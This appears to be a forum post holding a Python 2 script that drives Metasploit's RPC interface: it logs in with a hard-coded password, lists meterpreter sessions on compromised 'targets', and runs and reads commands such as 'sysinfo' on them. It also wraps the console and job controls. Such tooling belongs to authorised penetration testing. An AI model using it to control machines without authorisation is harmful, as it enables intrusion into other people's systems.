results of executed meterpreter CMD in Python-MSFRPC

import msfrpc
#[email protected]   <<< My EMail address

class windows (object):
  def __init__(self):
    try:
      self.client = msfrpc.Msfrpc({})
      self.client.login('msf', '456789')
    except IOError as error:
      print "Connection Refused :(  Check your connection to metasploit or metasploit's plugin availability..."
      print error.strerror
    except Exception:
      print "An unknown error occurred :(  Contact with support team."
    else:
      print "Script connected to metasploit interface successfully."


  def meter_sessions (self):
    self.m_sessions = self.client.call('session.list')
    #print "All meterpreter sessions: \n%s\n" % self.m_sessions
    self.sess_id_keys = self.m_sessions.keys()  #session-id of live targets.

    if self.sess_id_keys != []:   #checking if we have more than 1 live target, then write its info into a .txt file.
      self.f = open("meter_sessions.txt", "w+")
      for i in range(len(self.sess_id_keys)):
        print "Here:", self.m_sessions[self.sess_id_keys[i]]
        self.f.writelines(str(self.sess_id_keys[i]) + ':' + str(self.m_sessions[self.sess_id_keys[i]]) + "\n")
      self.f.close()
      return self.sess_id_keys  #Checking have we live sessions or no!? at main.


  def meter_single_cmd (self, sess_id, cmd):
    self.m_single_cmd = self.client.call('session.meterpreter_run_single', [sess_id, cmd])  #we could pass aurgs.


  def meter_script (self, sess_id, cmd):
    self.m_script = self.client.call('session.meterpreter_script', [sess_id, cmd])  #we could not pass aurgs.


  def meter_write_cmd (self, sess_id, cmd):
    self.m_write_cmd = self.client.call('session.meterpreter_write', [sess_id, cmd])

  def meter_read (self, sess_id):
    m_read = self.client.call('session.meterpreter_read', [sess_id])
    print m_read
    #f = open(sess_id + '_' + cmd.strip("\n \\n ") + ".text", "w+")
    #f.writelines(self.m_read['data'])
    #f.close()

############################################################################################
  def sess_ringPut (self, sess_id, cmd):
    x1 = self.client.call("session.ring_put", [sess_id, cmd])
    print "sess_ringPut", x1

  def sess_ringLast (self, sess_id):
    x2 = self.client.call("session.ring_last", [sess_id])
    print "sess_ringLast", x2

  def sess_ringClear (self, sess_id):
    x3 = self.client.call("session.ring_clear", [sess_id])
    print "sess_ringClear", x3

  def sess_ringRead (self, sess_id):
    x4 = self.client.call("session.ring_read", [sess_id])
    print "sess_ringRead", x4
############################################################################################
############################################################################################
  def console_create (self, con_id):
    c_read = self.client.call("console.create", con_id)
    print c_read

  def console_list (self):
    c_read = self.client.call("console.list")
    print c_read

  def console_destroy (self, con_id):
    c_read = self.client.call("console.destroy", con_id)
    print c_read

  def console_write (self, con_id, cmd):
    c_read = self.client.call("console.write", [con_id, cmd])
    print c_read

  def console_read (self, con_id):
    c_read = self.client.call("console.read", con_id)
    print c_read
############################################################################################
############################################################################################
  def j_list (self):
    self.jobs_list = self.client.call('job.list')   #List of active jobs.

  def j_info (self, job_id):

    self.jobs_info = self.client.call('job.info', job_id)

  def j_stop (self, job_id):
    self.jobs_info = self.client.call('job.stop', job_id)  #Terminate the job.
############################################################################################
############################################################################################
if __name__ == '__main__':
  a = windows()
  sess_cheker = a.meter_sessions()
  if sess_cheker != []:
    ## Plz pay attention to result of below CMDs.
    a.meter_single_cmd(3, "sysinfo\n")  #3 is session-id of target in metasploit(via sessions CMD).
    a.meter_read(3)

  else:
    print "We haven't live session(s). You should wait for a connection..."